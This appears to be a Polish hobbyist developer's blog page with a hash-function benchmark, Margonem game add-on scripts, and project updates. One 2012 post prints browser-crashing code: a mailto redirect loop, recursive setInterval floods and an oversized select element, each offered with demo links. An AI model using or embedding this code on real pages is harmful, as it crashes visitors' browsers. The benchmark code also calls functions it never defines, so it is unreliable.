Jeśli jesteś właścicielem tej strony, możesz wyłączyć reklamę poniżej zmieniając pakiet na PRO lub VIP w panelu naszego hostingu już od 4zł!
RSS

Hash functions benchmark (javascript)

0 Comments | This entry was posted on wrz 22 2013

Test funkcji hashujących opierający się na kodzie napisanym w javascripcie uruchomionym w konsoli node.js

Wyniki:

>node data/benchmark/hash.js

md5 x 62,315 ops/sec +0.40% (101 runs sampled)
sha1 x 143,658 ops/sec +0.31% (99 runs sampled)
murmurhash3 x 2,234,721 ops/sec +0.32% (97 runs sampled)
sha256 x 239,232 ops/sec +2.97% (86 runs sampled)
xxhash x 206,667 ops/sec +3.50% (91 runs sampled)
Fastest is murmurhash3

 

Kod testera: (wymaga biblioteki crypto, xxhash i benchmark)

npm install crypto

npm install xxhash

npm install benchmark

/**
 * Hash functions benchmark (javascript)
 * @author Michał (foxbond) Chraniuk
 *
 * funkcje {md5,sha1,sha256} to najprostsze użycie biblioteki crypto
 * funkcja xxhash pochodzi z biblioteki xxhash wymienionej na oficjalnej stronie tegoż algorytmu
* funkcja murmurhash3 to przepisanie słowo w słowo z implementacji C
*/
var b = require('benchmark');
var crypto = require('crypto');
var xxh = require('xxhash');
var suite = new b.Suite;
// add tests
suite.add('md5', function() {
md5('qwertyuiop[]asdfghjkl;zxcvbnm,1234567890-=');
})
.add('sha1', function() {
sha1('qwertyuiop[]asdfghjkl;zxcvbnm,1234567890-=');
})
.add('murmurhash3', function() {
murmurhash3('qwertyuiop[]asdfghjkl;zxcvbnm,1234567890-=', 123);
})
.add('sha256', function() {
sha256('qwertyuiop[]asdfghjkl;zxcvbnm,1234567890-=', 123);
})
.add('xxhash', function() {
xxhash('qwertyuiop[]asdfghjkl;zxcvbnm,1234567890-=', 123);
})
// add listeners
.on('cycle', function(event) {
console.log(String(event.target));
})
.on('complete', function() {
console.log('Fastest is ' + this.filter('fastest').pluck('name'));
})
// run async
.run({ 'async': true });

sBot – nowy, niezwykle intuicyjny bot do gry internetowej Margonem MMORPG!

0 Comments | This entry was posted on sie 27 2013

Pracuję nad nowym botem do margo. Wszelkie info pod tym linkiem:

sBot – smartBot – nowy, lepszy, szybszy!

Autoheal margonem

0 Comments | This entry was posted on mar 17 2013

Dzięki temu dodatkowi automatycznie się uleczysz.

 

Dodatek robiony na zamówienie.

http://www.margoextend.net/dodatek/15792/autoheal

 

Wpisujesz poniżej jakiej wartości ma leczyć oraz nazwę przedmiotu leczącego. Wszystkie dane są zapisywane gdy zmieniasz mapę!

//(c) 2013 Michał (foxbond) Chraniuk [http://foxbond.cba.pl]
function foxUsePotion(e){for(var t=1;t<=200;t++){for(var n in g.item){if(g.item[n].cl==16&&g.item[n].name==e){if(g.item[n].stat.indexOf("amount")>-1){mCount=g.item[n].stat.replace(/;.*/,"");mCount=mCount.replace("amount=","");if(parseInt(mCount)==t){$("#item"+n).dblclick();return}}else{$("#item"+n).dblclick();return}}}}}function foxAutoHeal(){var e=$("#foxHealInput").val();var t=$("#foxHealInputHp").val();if(hero.hp==hero.maxhp){return}if(hero.hp<t){foxUsePotion(e)}}function foxAutoHealTimeoutFunc(){$("#foxHealInput").val(foxReadCookie("foxAutoHealName"));$("#foxHealInputHp").val(foxReadCookie("foxAutoHealHp"));$("#foxAutoHealBox").draggable();if(foxReadCookie("foxAutoHealRun")=="yes"){if(foxAutoHealIntervalObj!=0){clearInterval(foxAutoHealIntervalObj)}foxAutoHealIntervalObj=setInterval("foxAutoHeal();",300);foxSaveCookie()}else{clearInterval(foxAutoHealIntervalObj)}$("#foxHealStart").click(function(){if(foxAutoHealIntervalObj!=0){clearInterval(foxAutoHealIntervalObj)}foxAutoHealIntervalObj=setInterval("foxAutoHeal();",300);foxSaveCookie()});$("#foxHealStop").click(function(){clearInterval(foxAutoHealIntervalObj)})}function foxStartAutoHeal(){$("body").append('<div style="z-index:1000; width:480px; border:1px brown solid; background-color:rgba(100,220,100,0.7);" id="foxAutoHealBox">Hp:<input type="text" id="foxHealInputHp">Nazwa:<input type="text" id="foxHealInput"><button id="foxHealStart">Start</button><button id="foxHealStop">Stop</button></div>');setTimeout("foxAutoHealTimeoutFunc();",500);foxAutoHeal()}function foxReadCookie(e){var t=""+document.cookie;var n=t.indexOf(e);if(n==-1||e=="")return"";var r=t.indexOf(";",n);if(r==-1)r=t.length;return unescape(t.substring(n+e.length+1,r))}function foxSaveCookie(){var e=$("#foxHealInput").val();var t=$("#foxHealInputHp").val();if(foxAutoHealIntervalObj!=0){var n="yes"}else{var n="no"}expiry=new Date(parseInt((new Date).getTime())*2);document.cookie="foxAutoHealName="+e+";expires="+expiry+";";document.cookie="foxAutoHealHp="+t+";expires="+expiry+";";document.cookie="foxAutoHealRun="+n+";expires="+expiry+";"}var foxAutoHealIntervalObj=0;foxStartAutoHeal();

Auto-zamykanie okienka „przeciwnik walczy z kimś innym”

0 Comments | This entry was posted on mar 16 2013

Taki malutki dodatek zrobiony na zamówienie:

http://www.margoextend.net/dodatek/15790/auto-zamykanie-okienka-przeciwnik-walczy

 

//(c) 2013 Michał (foxbond) Chraniuk [http://foxbond.cba.pl]
function foxHideAlert(){if($("#alert").css("display")=="block"){if($("#alert").children().next().html()=="Przeciwnik walczy z kimś innym!"){$("#alert").hide(0)}}}setInterval("foxHideAlert();",500);

BorderLess Engine

0 Comments | This entry was posted on lut 02 2013

Strona gry: Danarroth

 

Rozpocząłem pracę nad nowym silnikiem.

 

Jest to silnik c++/php/js gry 2D przez przeglądarkę!

 

Strona projektu to:

http://borderless-engine.tk

Bieżące informacje można na fanpage’u na fb:

https://www.facebook.com/BorderlessEngine

 

Poszukuję grafików chętnych wspomóc projekt. Oczywiście wszystko jest non-profit.

„Zcrashuj” Firefoxa

0 Comments | This entry was posted on maj 08 2012

Dawno nic nie publikowałem wiec postanowiłem wrzucić dwa exploity na firefoxa.

Linki celowo nie działają, aby ktoś „przypadkowo” w nie nie wszedł, jeśli chcesz je sprawdzić to zaznacz link i kliknij przejdź do strony

 

Pierwszy z nich:

<html><body onload=”setInterval(function(){location.href=’mailto:a@b.c’},10);” /></html>

demo:  http://foxbond.cba.pl/exp/firefox1.html

 

Drugi:

function x(){for(var r=0;r<100000;r++){var e=setInterval(„x()”,1);}}var d=setInterval(„x()”,1);

demo: http://foxbond.cba.pl/exp/firefox2.html

 

Aktualizacja, Trzeci:

 

function x() {
 
  for(var r=0; r<100000; r++) {
    var e=setInterval("x()", 1);
  }
}
var d=setInterval("x()", 1);

demo: http://foxbond.cba.pl/exp/firefox3.html

 

 

W drugim przypadku przypadku błąd częściowo działa na google chrome.

(Oczywiście) nie odpowiadam za żadne szkody spowodowane działaniem tych błędów!

 

P.S. W przypadku komputerów posiadających dużą ilość RAM-u błędy prawdopodobnie nie będą działać ( RAM > 3GB )

 

P.P.S. Ten powinien działać na wszystkich starych przeglądarkach:

<script> function poc(o) {
e = document.createElement(„select”);
e.length=2147483647; }

function go() { poc(0); } </script>

demo:  http://foxbond.cba.pl/exp/exp1.html

 

Forgotten Heroes

0 Comments | This entry was posted on lut 28 2012

 

Rozpocząłem właśnie pracę nad nową grą.

 

Początkowe założenie to:

stworzyć prostą tekstówkę w której gracze będą mieli możliwość walczyć ze sobą w rozbudowanych pojedynkach na żywo

 

Jednak z upływem czasu zrozumiałem jednak, że taka gra musi zaoferować coś więcej. Postanowiłem zrobić możliwość poruszania się po mapie 2d.

 

Na potrzebę projektu rozpocząłem pracę nad nowym silnikiem, który obecnie nazywa się „Advanced RPG Engine”. Nazwa nie jest wyszukana, ale ważne, że jest po angielsku i ma słowo „engine” :D

 

Aktualnie mam jądro z niezbędnymi modułami takimi jak:

  • ModuleManager
  • System szablonów
  • Obsługa bazy danych
  • Cache (pliki lub APC)
  • Klasy do filtrowania i przetwarzania danych

 

 

Nie jestem w stanie podać nawet przybliżonej daty premiery.

Strona gry:

Forgotten Heroes

 

Częściowa integracja z facebook-iem

2 Comments | This entry was posted on cze 30 2011

Dzisiaj postanowiłem zintegrować mój „blog” z facebook-iem. Nie jestem fanem tej platfomy, jednak myślę, że pomoże to w zwiększeniu liczby użytkowników mojej strony. CAŁA konfiguracja trwała 7,5h. Początkowo chciałem skorzystać z gotowych wtyczek z oficjalnej strony. Teoretycznie powinno być szybko i wygodnie jednak w praktyce wyglądało to zupełnie inaczej…

Najpierw należało założyć aplikację na facebooku, wszystko szybko i intuicyjnie :D . Potem zaczęły się schody. Łącznie zainstalowałem 45 wtyczek i żadna(!) nie działała tak jak powinna :(

Po 6h żmudnego testowania wybrałem 2 wtyczki:

WordPress Connect do przycisków „lubię to!” i „wyślij” oraz komentarzy (aktualnie nie korzystam)

Simple Facebook Connect z modułem Publish do publikowania postów na tablicy

 

O ile oddzielnie działają wyśmienicie to gdy uruchomię je razem, nie działa żadna…

 

… i tak kolejną 1h zajęło mi modyfikowanie tych wtyczek. Jeśli kogoś interesowały by rezultaty tych działań niech napisze w komentarzach lub na maila.

 

 

P.S. Foxbond Framework już wkrótce!